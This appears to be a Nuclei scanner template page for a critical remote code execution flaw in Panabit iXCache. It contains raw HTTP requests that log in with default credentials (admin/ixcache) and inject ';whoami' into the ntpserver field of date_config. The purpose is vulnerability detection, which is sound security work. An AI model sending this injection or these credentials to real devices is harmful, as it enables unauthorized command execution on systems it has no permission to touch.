Panabit iXCache date_config - Remote Code Execution
ID: panabit-ixcache-rce
Severity: critical
Author: momika233
Tags: panabit,rce,ixcache,intrusive
Description
Section titled “Description”Panabit iXCache date_config module has command splicing, resulting in the execution of arbitrary commands.
YAML Source
Section titled “YAML Source”id: panabit-ixcache-rce
info: name: Panabit iXCache date_config - Remote Code Execution author: momika233 severity: critical description: | Panabit iXCache date_config module has command splicing, resulting in the execution of arbitrary commands. reference: - https://github.com/Threekiii/Awesome-POC/blob/master/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Panabit%20iXCache%20date_config%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/Panabit/Panabit%20iXCache%20date_config%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md metadata: max-request: 2 fofa-query: title="iXCache" veified: true tags: panabit,rce,ixcache,intrusive
http: - raw: - | POST /login/userverify.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}} - | POST /cgi-bin/Maintain/date_config HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
ntpserver=0.0.0.0;whoami&year=2021&month=08&day=14&hour=17&minute=04&second=50&tz=Asiz&bcy=Shanghai&ifname=fxp1
attack: pitchfork payloads: username: - admin password: - ixcache
matchers-condition: and matchers: - type: regex part: body regex: - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)"
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 490a00463044021f408aeb7e3f4dcb3175472b118b6b9ff20ec78b27f44104ac681de1e3aa2e99022100f3f177a5b52c61a57e1c7cfe57f89288608d6bf8e10ca8bb21a31dde6d0bbe2a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/panabit-ixcache-rce.yaml"